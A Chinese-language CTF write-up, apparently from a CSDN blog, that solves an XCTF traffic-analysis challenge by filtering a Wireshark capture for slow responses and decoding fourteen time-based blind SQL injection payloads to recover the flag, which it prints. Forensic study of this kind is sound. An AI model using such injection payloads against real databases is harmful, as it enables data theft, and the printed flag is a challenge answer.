关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本题考察的是流量分析与 SQL 盲注,想要通过本关你需要知道如下知识点:
-
基于时间的 SQL 盲注。
-
WireShark 根据响应时间筛选响应包并追踪 HTTP 流。
-
http.time >= 3
=> 筛选响应时间大于 3 秒的响应包。
-
0x02:Write UP
将附件从靶场上下载下来并解压,你会得到一个名为 challenge.pcapng 的文件,利用 WireShark 打开,然后搜索 flag,你会看到下面的内容:
然后我们右击数据包追踪一下 HTTP 流,可以看到下面的内容:
使用 CyberChef 进行二次 URL 解码后,我们可以看到目标其实在尝试时间盲注:
攻击者尝试进行布尔盲注,并且设置成功时间为 3 秒,那么我们就可以使用 http.time
过滤出大于等于 3 秒的 HTTP 响应包,然后依次追踪他们的请求包,并进行解码,即可拿到 Flag:
如果不出意外的话,你会破解出如下几条 SQL 盲注语句:
- id=1) and if((ascii(substr((select flag from flag),1,1))='102'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),2,1))='108'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),3,1))='97'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),4,1))='103'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),5,1))='123'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),6,1))='49'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),7,1))='113'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),8,1))='119'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),9,1))='121'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),10,1))='50'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),11,1))='55'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),12,1))='56'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),13,1))='49'),sleep(3),0) --
- id=1) and if((ascii(substr((select flag from flag),14,1))='125'),sleep(3),0) --
提取出每个 SQL 语句猜解的字符的 ASCII 码值并转换为字符串后,得到 Flag 如下:
flag{1qwy2781}
评论记录:
回复评论: